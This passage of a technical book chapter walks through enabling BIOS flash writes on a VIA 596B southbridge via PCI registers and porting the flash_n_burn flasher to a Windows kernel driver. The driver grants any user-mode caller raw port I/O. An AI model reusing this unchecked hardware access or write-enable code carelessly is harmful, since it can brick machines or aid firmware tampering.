This member function is named doit. It's a chipset-specific function defined to enable the 
access to the BIOS address ranges. The call to doit is shown in listing 9.3. 
 

Listing 9.3 Call to the doit Member Function 

int 
enable_flash_write() { 
  int i; 
  struct pci_access *pacc; 
  struct pci_dev *dev = 0; 
  FLASH_ENABLE *enable = 0; 
 
  pacc = pci_alloc();           // Get the pci_access structure  
  // Set all options you want; I stick with the defaults  
  pci_init(pacc);               // Initialize the PCI library  
  pci_scan_bus(pacc);           // Get the list of devices  
 
  // Try to find the chipset used  
  for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { 
    struct pci_filter f; 
    struct pci_dev *z; 
    // The first parameter is unused 
    pci_filter_init((struct pci_access *) 0, &f); 
    f.vendor = enables[i].vendor; 
    f.device = enables[i].device; 
    for(z=pacc->devices; z; z=z->next) 
      if (pci_filter_match(&f, z)) { 
       enable = &enables[i]; 
       dev = z; 
      } 
  } 
 



  // Do the deed  
  if (enable) { 
      printf("Enabling flash write on %s...", enable->name); 
 
      // Call the doit function to enable access to the BIOS 
      // address ranges near the 4-GB limit 
      if (enable->doit(dev, enable->name) == 0) 
          printf("OK\n"); 
  } 
  return 0; 
} 
 
 Before delving into the chipset specific routine, let me show you the declaration of 
the data structure that contains the doit function as its member. You can traverse to this 
declaration by placing the cursor in the doit word in the call to the doit function: 
 
      if (enable->doit(dev, enable->name) == 0) 
 
 Then traverse forward in the source code.6 You will arrive in the data structure 
declaration, as shown in listing 9.4. 
 

Listing 9.4 FLASH_ENABLE Data Structure Declaration 

typedef struct penable { 
  unsigned short vendor, device; 
  char *name; 
  int (*doit)(struct pci_dev *dev, char *name); 
} FLASH_ENABLE; 
 
 As you can see, the data structure is named FLASH_ENABLE and one of its members 
is a pointer to the function named doit. Listing 9.5 shows the instances of FLASH_ENABLE 
that are traversed during the process of trying to enable access to the BIOS chip through the 
southbridge. These instances of FLASH_ENABLE are parts of an object named enables. You 
have to traverse the source code to this object's definition to know which chipset it's 
currently supporting. To do so, go back from the previous FLASH_ENABLE declaration7 to 
function enable_flash_write. Then, go forward in the source code to find the definition 
of enables.8 The definition of enables is shown in listing 9.5. 
 

Listing 9.5 The enables Object Definition 

FLASH_ENABLE enables[] = { 
 
  {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630}, 

                                                 
6 To traverse forward in vi, press Ctrl+]. 
7 To traverse backward in vi, press Ctrl+t. 
8 Place the cursor in the enables word and then press Ctrl+]. 



  {0x8086, 0x2480, "E7500", enable_flash_e7500}, 
  {0x1106, 0x8231, "VT8231", enable_flash_vt8231}, 
  {0x1106, 0x3177, "VT8235", enable_flash_vt8235}, 
  {0x1078, 0x0100, "CS5530", enable_flash_cs5530}, 
  {0x100b, 0x0510, "SC1100", enable_flash_sc1100}, 
  {0x1039, 0x8, "SIS5595", enable_flash_sis5595}, 
}; 
 
 As you can see, the enables object hasn't support the VIA 596B southbridge yet. 
There is no device identifier for VIA 596B, nor is there a function named 
enable_flash_vt82C596B or something similar to it. I added the support for VIA 596B by 
adding a new member to enables, as shown in listing 9.6. 
 

Listing 9.6 New enables Object Definition 

FLASH_ENABLE enables[] = { 
 
  {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630}, 
  {0x8086, 0x2480, "E7500", enable_flash_e7500}, 
  {0x1106, 0x8231, "VT8231", enable_flash_vt8231}, 
  {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, 
  {0x1106, 0x3177, "VT8235", enable_flash_vt8235}, 
  {0x1078, 0x0100, "CS5530", enable_flash_cs5530}, 
  {0x100b, 0x0510, "SC1100", enable_flash_sc1100}, 
  {0x1039, 0x8, "SIS5595", enable_flash_sis5595}, 
}; 
 
 Listing 9.6 shows that I added a new instance of FLASH_ENABLE to the enables 
object, this new instance represents the PCI-to-ISA bridge in VIA 596B southbridge. The 
PCI-to-ISA bridge's PCI vendor ID is 1106h, its device ID is 596h, and its doit function is 
named enable_flash_vt82C596B. Note that the BIOS chip is located behind the ISA bus; 
that's why the PCI configuration registers that control access to the BIOS chip is in the PCI-
to-ISA bridge. Furthermore, the southbridge has many PCI functions in it. PCI-to-ISA 
bridge is only one of them. Modern-day chipsets replace the PCI-to-ISA bridge 
functionality with an LPC bridge, and the BIOS chip is connected to the chipset through 
LPC interface. Now, let me show the implementation of the function 
enable_flash_vt82C596B. 
 

Listing 9.7 enable_flash_vt82C596B 

int 
enable_flash_vt82C596B(struct pci_dev *dev, char *name) { 
  unsigned char val; 
 
  // Enable the FFF00000h-FFF7FFFFh, FFF80000h-FFFDFFFFh, and 
  // FFFE0000h-FFFEFFFFh ranges to be decoded as memory 
  // access to the BIOS flash ROM chip 



  val = pci_read_byte(dev, 0x43); 
  val |= 0xE0; 
  pci_write_byte(dev, 0x43, val); 
 
  if (pci_read_byte(dev, 0x43) != val) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0x43, val, name); 
    return -1; 
  } 
 
  // Enable flash BIOS writing in VIA 596B 
  val = pci_read_byte(dev, 0x40); 
  val |= 0x01; 
  pci_write_byte(dev, 0x40, val); 
 
  if (pci_read_byte(dev, 0x40) != val) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0x40, val, name); 
    return -1; 
  } 
  return 0; 
} 
 
 Listing 9.7 shows how to enable access to the BIOS chip, i.e., by enabling the 
decoding of the BIOS address range and then by enabling writing to the BIOS chip in the 
corresponding PCI-to-ISA bridge configuration registers. The flash_n_burn source code 
doesn't require you to carry out the doit function successfully to continue probing for the 
right BIOS chip and writing or reading into it. However, most of today's motherboards need 
to carry out that function successfully to able to access the BIOS chip. After I added the 
code in listing 9.7 and modified the enables data structure as shown in listing 9.6, I 
recompiled the new flash_n_burn source code and then tried to dump the BIOS contents. 
It worked as expected. 
 Information about the PCI-to-ISA bridge configuration registers in the VIA 596B 
southbridge can be found in its datasheet. 
 
 
9.3. Accessing Motherboard BIOS Contents in Windows 
 
 In this section, I show you how to access the contents of the BIOS chip in 
Windows. Building a BIOS flasher utility for Windows from scratch is a hassle. Thus, I 
will show you how to port to Windows the flash_n_burn utility that you learned about in 
the previous section. Porting this utility is not easy because some operating system–specific 
issues must be resolved. Before that, I highlight the logical architecture of the Windows 
version of the flash_n_burn utility that you will build. It is shown in figure 9.1. From 
now on, I will refer to this windows version of flash_n_burn as bios_probe because 
the final executable created from the source code is bios_probe.exe. 
 



 
Figure 9.1 bios_probe logical architecture 

 
 Figure 9.1 depicts the logical architecture of bios_probe. The division of 
flash_n_burn from its Linux version into components shown in the figure is not clear. 
The Linux version has an overlapped component implementation because of the presence 
of /dev/mem and the I/O privilege level (IOPL). /dev/mem is a virtual file representation 
of the overall physical memory address space in Linux. IOPL is a feature that enables a user 
with administrator privilege to access the I/O port directly in Linux. Both of these features 
don't exist in Windows. Therefore, I have to divide bios_probe into the components 
shown in figure 9.1 to determine which of the routines that must be separated from the rest 
of the source code developed separately as a Windows device driver. 
 Now, it's clear that components 2 and 3 in figure 9.1 must be implemented in a 
device driver. Component 2 consists of direct I/O functions that normally exist in Linux, 
namely, outb, outw, outl, inb, inw, and inl. Component 3 will replace the functionality 
of the mmap function that exists in Linux but not in Windows. In the Linux version of 
flash_n_burn, the mmap function maps the BIOS chip to the address space of the 
requesting user-mode application. 
 You can download the source code of bios_probe that I explain here at 
http://www.megaupload.com/?d=3QOD8V00. At this Web address is version 0.26 of the 
source code. However, this latest Windows version has not been well tested yet. I have only 
tested it successfully in a motherboard based on the VIA 596B southbridge with a Winbond 
W49F002U flash ROM chip and in a motherboard based on the Intel ICH5 southbridge 
with Winbond W39V040FA flash ROM. The directory structure of this source code is 
shown in figure 9.2. 
 



 
Figure 9.2 Directory structure of flash_n_burn (Windows version) 

 
 The root directory in the bios_probe source code is named v0.26. This name 
represents the version number of the source code. The source code supports many flash 
ROM chips; I only explain the two that I have tested. 
 The directory named exe under the root directory contains the source code for the 
user-mode application of bios_probe, and the directory named sys contains the source 
code of the device driver. The directory named libpci under the exe directory contains 
the source code for the static library used to probe the PCI bus. I delve more into these 
directories in the next subsections. 
 With this source code, you have a solid foundation to add support for another kind 
of chipset and for another flash chips. 
 
 
9.3.1. Kernel-Mode Device Driver of bios_probe 
 
 In this subsection, both driver and device driver refer to the kernel-mode device 
driver of bios_probe. 
 You need the Windows 2000 or Windows XP driver development kit (Windows 
2000 or Windows XP DDK) to build the driver of bios_probe. You build the driver by 
invoking the build utility in the DDK build environment.9 For example, shell snippet 9.9 
is from the Windows XP DDK free build environment, which I used to build the 
bios_probe device driver. 
 

Shell snippet 9.9 Building the device driver 

F:\A-List_Publishing\Windows_BIOS_Flasher\current\sys>build 
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang. 
BUILD: Object root set to: ==> objfre_wxp_x86 
BUILD: Compile and Link for i386 
BUILD: Loading C:\WINDDK\2600~1.110\build.dat... 
BUILD: Computing Include file dependencies: 
BUILD: Examining f:\a-list_publishing\windows_bios_flasher\current\sys 
directory for files to compile. 
    f:\a-list_publishing\windows_bios_flasher\current\sys - 1 source 
files (888 lines) 

                                                 
9 The DDK build environment is a console with its environment variables set to suit device driver 
development. 



BUILD: Saving C:\WINDDK\2600~1.110\build.dat... 
BUILD: Compiling f:\a-list_publishing\windows_bios_flasher\current\sys 
directory 
Compiling - bios_probe.c for i386 
BUILD: Linking f:\a-list_publishing\windows_bios_flasher\current\sys 
directory 
Linking Executable - i386\bios_probe.sys for i386 
BUILD: Done 
 
    2 files compiled 
    1 executable built 
 
 
 Now, I will show you the overall source code of the driver that implements 
components 2 and 3 in figure 9.1. I start with the interface file that connects the user-mode 
application and the device driver. 
 

Listing 9.8 The interface.h File 

/* 
 *  This is the interface file that connects the user-mode application 
 *  and the kernel-mode driver. 
 * 
 *  NOTE: 
 *  ----- 
 *  - You must use #include <winioctl.h> before including this 
 *    file in your user-mode application. 
 *  - You probably need to use #include <devioctl.h> before including 
 *    this file in your kernel-mode driver. 
 *  These include functions are needed for the CTL_CODE macro to work. 
 */ 
 
#ifndef __INTERFACES_H__ 
#define __INTERFACES_H__ 
 
#define IOCTL_READ_PORT_BYTE       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, 
                     METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_READ_PORT_WORD       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802, 
                     METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_READ_PORT_LONG       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0803, 
                     METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
 
#define IOCTL_WRITE_PORT_BYTE       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804, 
                     METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_WRITE_PORT_WORD       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0805, 
                     METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_WRITE_PORT_LONG       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0806, 
                     METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
 
#define IOCTL_MAP_MMIO              CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0809, 



                      METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
#define IOCTL_UNMAP_MMIO            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x080A, 
                     METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
 
enum { 
    MAX_MAPPED_MMIO = 256 // Maximum number of MMIO zones 
}; 
 
#pragma pack (push, 1) 
typedef struct _IO_BYTE { 
    unsigned short port8; 
    unsigned char value8; 
}IO_BYTE; 
 
typedef struct _IO_WORD { 
    unsigned short port16; 
    unsigned short value16; 
}IO_WORD; 
 
typedef struct _IO_LONG { 
    unsigned short port32; 
    unsigned long value32; 
}IO_LONG; 
 
typedef struct _MMIO_MAP { 
    unsigned long phyAddrStart; // Start of address in the physical 
                                // address space to be mapped 
    unsigned long size; // size of the physical address space to map 
    void * usermodeVirtAddr; // Starting the virtual address of the MMIO 
                             // as seen from user mode 
}MMIO_MAP, *PMMIO_MAP; 
#pragma pack (pop) 
 
#endif //__INTERFACES_H__ 
 
 Listing 9.8 shows the contents of the interface.h include file. This file is located 
in the root directory of the source code. It provides the interface between the user-mode 
application of bios_probe and its Windows device driver. MMIO in listing 9.8 stands for 
memory-mapped I/O. 
 It's important that you have a background in Windows 2000/XP device driver 
development to comprehend listing 9.8 completely. If you are unfamiliar with such 
development, I recommend reading The Windows 2000 Device Driver Book: A Guide for 
Programmers (Second Edition) by Art Baker and Jerry Lozano, or Programming the 
Microsoft Windows Driver Model (Second Edition) by Walter Oney. 
 Listing 9.8 provides the interface between the user-mode application and the 
device driver by defining some input/output control (IOCTL) codes and some data 
structures. The IOCTL codes are defined with the CTL_CODE macro. For example, to read 
one byte from any port, IOCTL_READ_PORT_BYTE is defined as follows: 
 



#define IOCTL_READ_PORT_BYTE        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, 
                      METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) 
 
 A user-mode application uses the IOCTL codes as the communication code to 
"talk" with the device driver through the DeviceIoControl Windows API function. You 
can think of an IOCTL as a "phone number" to contact certain service provided by the 
device driver. This logic is shown in figure 9.3. 
 

 
Figure 9.3 Working principle of the IOCTL code 

 
 The IOCTL code is passed from the user-mode application through the 
DeviceIoControl API. The I/O manager subsystem of the Windows kernel will pass this 
IOCTL code to the right device driver by using an I/O request packet (IRP). An IRP is a 
data structure used by the I/O manager to communicate with device drivers in Windows. 
 

Listing 9.9 DeviceIoControl Win32API Function Declaration 

BOOL DeviceIoControl( 
  HANDLE hDevice, 
  DWORD dwIoControlCode, 



  LPVOID lpInBuffer, 
  DWORD nInBufferSize, 
  LPVOID lpOutBuffer, 
  DWORD nOutBufferSize, 
  LPDWORD lpBytesReturned, 
  LPOVERLAPPED lpOverlapped 
); 
 
 Listing 9.9 shows that the IOCTL code is the second input parameter when you 
invoke the DeviceIoControl function. Beside the IOCTL code, DeviceIoControl has 
some pointer-to-void parameters10 used by user-mode applications to exchange data with 
device drivers. Because the parameters are pointer-to-void, you can set the pointer to point 
to anything. Thus, to make these parameters usable, you have to define some data structures 
that will be used by the user-mode application and the device driver. You use the pointer-
to-void in DeviceIoControl to point to an instance of this data structure. To do so, you 
cast the pointer-to-void to pointer-to-your-data-structure and manipulate the contents of the 
data structure instance with the latter pointer. These data structures are defined in listing 9.8 
with a typdef struct keyword, for example, as follows: 
 
typedef struct _IO_LONG { 
    unsigned short port32; 
    unsigned long value32; 
}IO_LONG; 
 
 Continuing the "phone number" analogy that I mentioned before, you can think of 
the content of these data structures as the "conversation" between the user-mode application 
and the device driver. Note that in the bios_probe device driver, every IOCTL code is 
associated with one data structure, but not the other way around. For example, 
IOCTL_READ_PORT_LONG is associated with IO_LONG data structure; 
IOCTL_WRITE_PORT_LONG is also associated with IO_LONG. Both 
IOCTL_READ_PORT_BYTE and IOCTL_WRITE_PORT_BYTE are associated with IO_BYTE. 
And so on. 
 Proceed to the most important part of the bios_probe device driver. Start with 
the internal header of the device driver. It is named bios_probe.h and is shown in listing 
9.10. 
 

Listing 9.10 The bios_probe.h File 

#ifndef __BIOS_PROBE_H__ 
#define __BIOS_PROBE_H__ 
 
#include <ntddk.h> 
#include "../interfaces.h" 
 

                                                 
10 Pointer-to-void is a parameter declared with the LPVOID type. In listing 9.9, parameters of this 
type are LPVOID lpInBuffer and LPVOID lpOutBuffer. 



//  Debugging macros 
 
#if DBG 
#define BIOS_PROBE_KDPRINT(_x_) \ 
                DbgPrint("BIOS_PROBE.SYS: ");\ 
                DbgPrint _x_; 
#else 
#define BIOS_PROBE_KDPRINT(_x_) 
#endif 
 
#define BIOS_PROBE_DEVICE_NAME_U     L"\\Device\\bios_probe" 
#define BIOS_PROBE_DOS_DEVICE_NAME_U L"\\DosDevices\\bios_probe" 
 
typedef struct _MMIO_RING_0_MAP{ 
    PVOID sysAddrBase;      // The starting system virtual address of 
                            // the mapped physical address range 
    ULONG size;             // Size of the mapped physical address range 
    PVOID usermodeAddrBase; // Pointer to the user-mode virtual address 
                            // where this range is mapped 
    PMDL pMdl; // Memory descriptor list for the MMIO range 
               // to be mapped 
}MMIO_RING_0_MAP, *PMMIO_RING_0_MAP; 
 
typedef struct _DEVICE_EXTENSION{ 
    MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO]; 
}DEVICE_EXTENSION, *PDEVICE_EXTENSION; 
 
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  DriverObject, 
                      IN PUNICODE_STRING registryPath ); 
 
NTSTATUS DispatchCreate( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ); 
 
NTSTATUS DispatchClose( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ); 
 
VOID DispatchUnload( IN PDRIVER_OBJECT DriverObject ); 
 
NTSTATUS DispatchRead( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ); 
 
NTSTATUS DispatchWrite( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ); 
 
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); 
 
#endif //__BIOS_PROBE_H__ 
 
 The internal header of the device driver is not exported to external entities; i.e., it's 
not to be included by external software modules that are not part of the bios_probe device 
driver. This file contains the declaration of internal functions and data structures of the 
device driver. 
 I start with an explanation of the function declarations. The entry point of a 
Windows device driver is a function named DriverEntry. It's shown in listing 9.10. This 



function has two input parameters, a driver object pointer and a pointer to a Unicode string 
that points to the registry entry associated with the driver. These parameters are passed into 
the device driver by Windows when the driver is loaded into memory for the first time. The 
responsibility of DriverEntry is to initialize the function pointers that will point to 
functions that provide services within the driver and to initialize the exported name11 of the 
driver so that a user-mode application can open a handle to the driver. I'll delve more into 
this when you arrive at the bios_probe.c file. Functions that start with the word Dispatch 
in listing 9.10 are the "services" provided by the driver. The names of these functions are 
clear enough for their intended purposes. 
 There is one data structure declaration in listing 9.10: DEVICE_EXTENSION. 
Roughly speaking, DEVICE_EXTENSION is the place for globally visible driver variables, 
namely, variables expected to retain their value during the lifetime of the driver. 
 

Listing 9.11 The bios_probe.c File 

/*++ 
 
Module Name: bios_probe.c 
 
Abstract:    The main file of the BIOS probing utility device driver 
 
Author:      Darmawan Salihun (Aug. 27, 2006) 
 
Environment: Kernel mode 
 
Revision History: 
 
    - Originated from the CancelSafeIrq Win_XP DDK sample by Eliyas Yakub 
 
    - (Aug. 27, 2006) BIOS probing device driver constructed by 
      Darmawan Salihun 
 
    - (Sept. 9, 2006) Device driver architecture reworked to accommodate 
      to the 256 MMIO range to be mapped by the 
      driver. Systematic comments added. 
 
TODO: 
    - Add routines to check whether a requested physical address range 
      overlaps with the currently allocated mapZone in the 
      device extension. Do this in the MapMmio function. 
 
--*/ 
 
#include "bios_probe.h" 
#include <devioctl.h> 

                                                 
11 Exported name in this context is an object name that is part of the name space in windows 
2000/XP. A user-mode application can "see" and use this name. 



#include "../interfaces.h" 
 
 
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  DriverObject, 
                      IN PUNICODE_STRING RegistryPath ) 
/*++ 
Routine Description: 
    Installable driver initialization entry point. 
    This entry point is called directly by the I/O system. 
 
Arguments: 
    DriverObject - Pointer to the driver object. 
    registryPath - Pointer to a Unicode string representing the path 
                   to a driver-specific key in the registry. 
Return Value: 
    STATUS_SUCCESS if successful, 
    STATUS_UNSUCCESSFUL otherwise 
--*/ 
{ 
    NTSTATUS            status = STATUS_SUCCESS; 
    UNICODE_STRING      unicodeDeviceName; 
    UNICODE_STRING      unicodeDosDeviceName; 
    PDEVICE_OBJECT      deviceObject; 
    PDEVICE_EXTENSION pDevExt; 
    ULONG             i; 
 
    UNREFERENCED_PARAMETER (RegistryPath); 
 
    BIOS_PROBE_KDPRINT(("DriverEntry Enter \n")); 
 
    DriverObject->DriverUnload = DispatchUnload; 
 
    DriverObject->MajorFunction[IRP_MJ_CREATE]= DispatchCreate; 
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose; 
    DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; 
    DriverObject->MajorFunction[IRP_MJ_WRITE] = DispatchWrite; 
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = 
                                                DispatchIoControl; 
 
    (void) RtlInitUnicodeString( &unicodeDeviceName, 
                                 BIOS_PROBE_DEVICE_NAME_U); 
 
    status = IoCreateDevice( 
                DriverObject, 
                sizeof(DEVICE_EXTENSION), 
                &unicodeDeviceName, 
                FILE_DEVICE_UNKNOWN, 
                0, 
                (BOOLEAN) FALSE, 
                &deviceObject 
                ); 



 
    if (!NT_SUCCESS(status)) 
    { 
        return status; 
    } 
 
    DbgPrint("DeviceObject %p\n", deviceObject); 
 
    // 
    // Set the flag signifying direct I/O. This causes NT 
    // to lock the user buffer into memory when it's accessed. 
    // 
    deviceObject->Flags |= DO_DIRECT_IO; 
 
 
    // 
    // Allocate and initialize a Unicode string containing the Win32 name 
    // for the device. 
    // 
    (void)RtlInitUnicodeString( &unicodeDosDeviceName, 
                                BIOS_PROBE_DOS_DEVICE_NAME_U ); 
 
    status = IoCreateSymbolicLink((PUNICODE_STRING)&unicodeDosDeviceName, 
                                  (PUNICODE_STRING) &unicodeDeviceName ); 
 
    if (!NT_SUCCESS(status)) 
    { 
        IoDeleteDevice(deviceObject); 
        return status; 
    } 
 
    // 
    // Initialize the device extension. 
    // 
    pDevExt = (PDEVICE_EXTENSION)deviceObject->DeviceExtension; 
    for(i = 0; i < MAX_MAPPED_MMIO; i++) 
    { 
       pDevExt->mapZone[i].sysAddrBase = NULL; 
       pDevExt->mapZone[i].size = 0; 
       pDevExt->mapZone[i].usermodeAddrBase = NULL; 
       pDevExt->mapZone[i].pMdl = NULL; 
    } 
 
    BIOS_PROBE_KDPRINT(("DriverEntry Exit = %x\n", status)); 
 
    return status; 
} 
 
 
NTSTATUS DispatchCreate( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) 
/*++ 



Routine Description: 
   Process the create IRPs sent to this device. 
   This routine does nothing but signal 
   successful IRP handling. 
 
Arguments: 
   DeviceObject - Pointer to a device object. 
   Irp - Pointer to an I/O request packet. 
 
Return Value: 
      NT Status code 
--*/ 
{ 
    NTSTATUS             status = STATUS_SUCCESS; 
 
    BIOS_PROBE_KDPRINT(("DispatchCreate Enter\n")); 
 
    // 
    // The dispatch routine for IRP_MJ_CREATE is called when a 
    // file object associated with the device is created. 
    // This is typically because of a call to CreateFile() in 
    // a user-mode program or because a another driver is 
    // layering itself over this driver. A driver is 
    // required to supply a dispatch routine for IRP_MJ_CREATE. 
    // 
    BIOS_PROBE_KDPRINT(("IRP_MJ_CREATE\n")); 
    Irp->IoStatus.Information = 0; 
 
    // 
    // Save Status for return and complete Irp. 
    // 
    Irp->IoStatus.Status = status; 
    IoCompleteRequest(Irp, IO_NO_INCREMENT); 
 
    BIOS_PROBE_KDPRINT((" DispatchCreate Exit = %x\n", status)); 
 
    return status; 
} 
 
 
NTSTATUS ReadPortByte(PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_READ_PORT_BYTE code. 
    This routine reads a byte from the designated port 
    and returns the value to the user-mode application 
    through pointer to the locked-down user-mode buffer 
    in the IRP. 
 
Arguments: 
    pIrp - pointer to an I/O Request Packet. 



 
Return Value: 
    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_BYTE* pUsermodeMem =  (IO_BYTE*) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
 
    if( NULL != pUsermodeMem) { 
        __asm 
       { 
           pushad                 ;// Save all register contents 
           mov ebx, pUsermodeMem  ;// Build a user-mode memory pointer 
                                  ;// Register 
           mov dx,[ebx].port8     ;// Fetch the input port address 
           in  al,dx              ;// Read the byte from the device 
           mov [ebx].value8, al   ;// Write the probing result directly 
                                  ;// to user-mode memory 
           popad                  ;// Restore all saved register values 
       } 
 
    } else { 
      status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
NTSTATUS ReadPortWord(PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_READ_PORT_WORD code. 
    This routine reads a word from the designated port 
    and returns the value to the user-mode application 
    through the pointer to the locked-down user-mode buffer 
    in the IRP. 
 
Arguments: 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_WORD* pUsermodeMem =  (IO_WORD*) MmGetSystemAddressForMdlSafe( 
                           pIrp->MdlAddress, NormalPagePriority ); 
 
    if( NULL != pUsermodeMem) { 



        __asm 
       { 
       pushad                   ;// Save all register contents 
       mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer 
                                ;// Register 
       mov dx, [ebx].port16     ;// Fetch the input port address 
       in  ax, dx               ;// Read the bytes from the device 
       mov [ebx].value16, ax    ;// Write the probing result directly to 
                                ;// user-mode memory 
       popad                    ;// Restore all saved register values 
       } 
 
    } else { 
       status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
NTSTATUS ReadPortLong(PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_READ_PORT_LONG code. 
    This routine reads a DWORD from the designated port 
    and returns the value to the user-mode application 
    through the pointer to the locked-down user-mode buffer 
    in the IRP. 
 
Arguments: 
    pIrp - Pointer to an I/O request packet 
 
Return Value: 
    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_LONG* pUsermodeMem =  (IO_LONG*) MmGetSystemAddressForMdlSafe( 
pIrp->MdlAddress, NormalPagePriority ); 
 
    if( NULL != pUsermodeMem) { 
        __asm 
       { 
       pushad                   ;// Save all register contents 
       mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer 
                                ;// Register 
       mov dx, [ebx].port32     ;// Fetch the input port address 
       in  eax, dx              ;// Read the bytes from the device 
       mov [ebx].value32, eax   ;// Write the probing result directly 
                                ;// to user-mode memory 
       popad                    ;// Restore all saved register values 



       } 
 
    } else { 
       status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
NTSTATUS WritePortByte(PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_WRITE_PORT_BYTE code. 
    This routine writes a byte to the designated port. 
    The value of the byte and the port address are obtained 
    through the pointer to the locked-down buffer in the IRP. 
 
Arguments: 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_BYTE* pUsermodeMem =  (IO_BYTE*) MmGetSystemAddressForMdlSafe( 
                                   pIrp->MdlAddress, NormalPagePriority); 
 
    if( NULL != pUsermodeMem) { 
        __asm 
       { 
       pushad                   ;// Save all register contents 
       mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer 
                                ;// Register 
       mov dx, [ebx].port8      ;// Fetch the input port address 
       mov al, [ebx].value8     ;// Read the value to be written directly 
                                ;// From user-mode memory 
       out dx, al               ;// Write the byte to the device 
       popad                    ;// Restore all saved register values 
       } 
 
    } else { 
       status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
NTSTATUS WritePortWord(PIRP pIrp) 



/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_WRITE_PORT_WORD code. 
    This routine writes a word to the designated port. 
    The value of the word and the port address are obtained 
    through the pointer to the locked-down buffer in the IRP. 
 
Arguments: 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_WORD* pUsermodeMem =  (IO_WORD*) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
 
    if( NULL != pUsermodeMem) { 
        __asm 
       { 
         pushad                 ;// Save all register contents 
         mov ebx, pUsermodeMem  ;// Build a user-mode memory pointer 
                                ;// Register 
         mov dx, [ebx].port16   ;// Fetch the input port address 
         mov ax, [ebx].value16  ;// Read the value to be written 
                                ;// directly from user-mode memory 
         out dx, ax             ;// Write the bytes to the device 
         popad                  ;// Restore all saved register values 
       } 
 
    } else { 
      status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
NTSTATUS WritePortLong(PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_WRITE_PORT_LONG code. 
    This routine writes a dword to the designated port. 
    The value of the dword and the port address are obtained 
    through the pointer to the locked-down buffer in the IRP. 
 
Arguments: 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 



    NT Status code 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    IO_LONG* pUsermodeMem =  (IO_LONG*) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
 
    if( NULL != pUsermodeMem) { 
        __asm 
       { 
       pushad                   ;// Save all register contents 
       mov ebx, pUsermodeMem    ;// Build a user-mode memory pointer 
                                ;// Register 
       mov dx, [ebx].port32     ;// Fetch the input port address 
       mov eax, [ebx].value32   ;// Read the value to be written directly 
                                ;// from user-mode memory 
       out dx, eax              ;// Write the bytes to the device 
       popad                    ;// Restore all saved register values 
       } 
 
    } else { 
       status = STATUS_INVALID_USER_BUFFER; 
    } 
 
    return status; 
} 
 
 
